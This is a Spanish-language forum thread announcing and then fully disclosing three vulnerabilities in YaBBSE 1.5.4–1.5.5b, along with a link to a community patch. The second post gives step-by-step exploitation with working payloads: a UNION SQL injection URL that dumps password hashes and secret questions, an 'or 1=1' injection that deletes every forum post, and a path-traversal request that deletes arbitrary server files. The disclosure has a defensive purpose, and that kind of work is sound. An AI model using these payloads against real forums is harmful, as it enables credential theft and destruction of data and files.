Varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.

Estado
Cerrado para nuevas respuestas

jbex

El que peca y reza empata
Administrador
#1
La noticia es que Alnitak junto a BackSpace han encontrado varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.5.5b y probablemente las versiones anteriores también estén afectadas.

Los agujeros se encuentran en el fichero ModifyMessage.php y es vulnerable al menos de tres formas a una inyección de código SQL.

BackSpace, esta trabajando ahora mismo en la Documentación de los bugs, pero a tenido la deferencia de enviarme el archivo ModifyMessage.php con los agujeros parcheados por ellos.

Así que si tienes un foro YabbSE aquí te dejo la descarga para que lo parchees:

YabbSE1.5.5 patch

Resaltar que es la segunda vez que un miembro de esta Web, encuentra un agujero, ya que hace poco tiempo Alnitak junto a Cobac, encontraron varios agujeros en los portales de asp-nuke, procediendo a corregir dichos agujeros y reforzando su seguridad con la inclusión de una base de datos encriptada en MD5.

Un saludo, jbex.

PD: En breve se publicará el informe completo de los bugs creado por BackSpace
 

alnitak

Ex-Admin
Miembro
#2
nforme de varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.5.5b

probablemente anteriores versiones son vulnerables.

Los agujeros se encuentran en el fichero ModifyMessage.php

EL HUECO

el primer agujero es una inyección SQL, debido a que en la función

ModifyMessage no se chequea el parámetro $msg para que no contenga

valores no válidos.

Alcance de la vulnerabilidad.

Extracción de información de la base de datos.

Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado y necesitas conocer el prefijo

de la base de datos. Por defecto es yabbse_

2- Entra en cualquier board. ej. Dudas Generales

3- Entra en cualquier mensaje.ej. POSTS MOVIDOS

4- Ahora podemos hacer varias cosas por ejemplo usar el botón "cita:"

o mirar el código fuente en busca de la variable sesc.

5- Luego modificamos la URL para que quede algo parecido a esto:

http://vulnhost/foro/index.php?board=1;act...e+ID_MEMBER=1/*

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL

http://vulnhost/foro/index.php?board=1;act...fb982a1;msg=-12[Numero negativo para que no nos devuelva ningún mensaje])+UNION+SELECT+3[ID del mensaje puede ser cualquier cosa],null,2[Nuestro ID de usario],concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1[ID del usuario del que extraeremos el hash y la pregunta secreta]/*

y ya está. En el campo subject del formulario nos aparece

el hash del password nuestra pregunta secreta ej.

e320774659b1b23333bd033754d2ac1a-color negro.

Porque sucede esto:

Al no ser chequeada la variable $msg, esta se inserta en la sentencia SQL

$request = mysql_query("SELECT m.*, t.locked FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t WHERE (m.ID_MSG=$msg AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;") or database_error(__FILE__, __LINE__);

con el parámetro msg que le pasamos a la URL anterior

msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*

la sentencia SQL nos queda asi.

SELECT m.*, t.locked FROM yabbse_messages AS m, yabbse_topics AS t WHERE (m.ID_MSG=-12) UNION

SELECT 3,null,2,concat(passwd,'-',secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null

FROM yabbse_members where ID_MEMBER=1/* AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;

todo lo que queda detrás de /* se omite, esto es una característica del MySQL.

EL HUECO RELOADED

el segundo agujero es otra inyección SQL, en la función ModifyMessage2.

No se chequea el parámetro $postid

Alcance de la vulnerabilidad.

Borrado de datos.

1- Necesitas ser un usuario registrado. Y necesitas haber posteado el ultimo mensaje.

2- Ve a tu mensaje y pulsa el botón modify

3- Tendrás algo parecido a esto

http://vulnhost/foro/index.php?board=1;act...3e9e2314fb982a1

4- Cambiar donde dice action=modify por action=modify2 y agregar tres variables nuevas

subject=texto, message=texto y waction=deletemodify

5- Agregar el postid vulnerable: postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*

nos quedará:

http://localhost/yabbse/yabbse155/index.ph...Y+ID_MSG+DESC/*

Esto borrará todos los mensajes del foro.

Porque sucede esto:

Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL

  $request = mysql_query("

        SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

        FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b

        WHERE m.ID_MSG=$postid

            AND t.ID_TOPIC=m.ID_TOPIC

            AND b.ID_BOARD=t.ID_BOARD

        LIMIT 1;"

la sentencia SQL con nuestra modificación queda asi:

SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG,

t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b

WHERE m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;

todo lo que queda detrás de /* se omite

Necesitamos que nuestro mensaje sea el último para que funcione nuestra inyección ya que

sino, no funcionaria esta parte m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC y necesitamos el "or 1=1" en

otra sentencia para que borre todos los mensajes.Al hacer el "ORDER BY ID_MSG DESC" nos aseguramos que el chequeo:

  if ($row['ID_MEMBER'] != $ID_MEMBER && $settings[7] != 'Administrator' && $settings[7] != 'Global Moderator' && !in_array($username, $moderators))

      fatal_error($txt[67]);

sea correcto y podamos seguir adelante. Una vez conseguido esto, se borra nuestro mensaje

ya que se hacen deletes con el primer resultado de la sentencia anterior que como le pusimos el

ORDER DESC será nuestro mensaje. Y luego se llega a la parte que nos interesa que es la que causa

la vulnerabilidad.

$request = mysql_query("DELETE FROM {$db_prefix}messages WHERE ID_MSG=$postid LIMIT 1;")

Aqui se le pasa nuestro postid y la sentencia final quedará asi:

DELETE FROM yabbse_messages WHERE ID_MSG=2 or 1=1 ORDER BY ID_MSG DESC/* LIMIT 1;

que es una sentencia totalmente legal y lo que hace es borrar todos los mensajes

de la base de datos.

EL HUECO REVOLUTIONS

El tercer agujero es otra vulnerabilidad en la misma función. Esta vez es utilizando

la vulnerabilidad anterior del $postid y ademas porque se asume que la variable

$attachOld es buena y que viene de un formulario anterior.

Ocurre porque en la funcionalidad de borrar attachments de mensajes no se chequea

que el fichero a borrar se encuentre dentro del path de los attachments. Esta

vulnerabilidad es la mas grave de las tres porque te permite borrar cualquier fichero

conociendo el path, pero ademas te puede dar información acerca de la estructura de

directorios del servidor.

Alcance de la vulnerabilidad.

Borrado de ficheros y extracción de información de directorios.

Como explotar la vulnerabilidad:

1- Necesitas ser un usuario registrado. Y saberte tu id de usuario.

2- Si tienes un mensaje posteado ve a ese mensaje y pulsa modify, si no tienes

un mensaje ve a otro cualquiera y pulsa "cita".

Para continuar necesitaras un proxy tipo Paros o Achilles. También lo puedes hacer

de otro modo pero es mas fastidioso así que lo explico a lo fácil. Con el paros chequea

el Trap Request.

3- Presiona el preview y ahora vete al paros y en la linea donde dice

POST /foro/index.php?board=1;action=post2 HTTP/1.0

cambialo por

POST /foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,null,null,null,null,null,null,null,null,null/* HTTP/1.0

si te sale un error de Bases de Datos es porque el fichero se ha borrado correctamente.

Si no se pudo borrar te saldrá un error parecido a esto.

2: unlink(C:/xampp/htdocs/yabbse/yabbse155/attachments/../../../../borrame.txt): No such file or directory

(C:\xampp\htdocs\yabbse\yabbse155\Sources\ModifyMessage.php ln 319)

Fijense que muestra la estructura de directorios. Información muy

valiosa.

Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL

/foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt[Camino del fichero a borrar];subject=hola;message=hola;postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*

Porque sucede esto:

Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL

  $request = mysql_query("

        SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

        FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b

        WHERE m.ID_MSG=$postid

            AND t.ID_TOPIC=m.ID_TOPIC

            AND b.ID_BOARD=t.ID_BOARD

        LIMIT 1;"

la sentencia SQL con nuestra modificación queda asi:

SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG,

t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count

FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b

WHERE m.ID_MSG=-1 UNION SELECT null,3,null,null,null,null,null,null,null,null,null,null

/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;

el -1 hace que no nos devuelva nada legal y el

postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*

hace que el resultado sea el que nosotros queremos, la ventaja es que no tenemos que conocer l prefijo

de la base de datos, ya que SELECT null,3,null,null,null,null,null,null,null,null,null,null es una

sentencia perfectamente legal en MySQL que devuelve parámetros estáticos.

Estado del vendedor:

Viendo como se comportaron los desarrolladores de YabbSE la última vez

que les mandé un informe de vulnerabilidad, que en un mes no hicieron

nada por sacar un parche de una línea de código y lo sacaron varios

dias después de que fuera publicada la vulnerabilidad. Además viendo

como se dedicaron a borrar todos los post en su foro que hablaban del tema.

Hemos decidido sacar un parche por nuestra cuenta y pasar de avisarles de nada.

Los parches pueden ser descargados de:

https://www.trucoswindows.net/descargas/yabbse-1-5-5-patch/

Créditos para:

    Alnitak y BackSpace
 
Estado
Cerrado para nuevas respuestas
Arriba Pie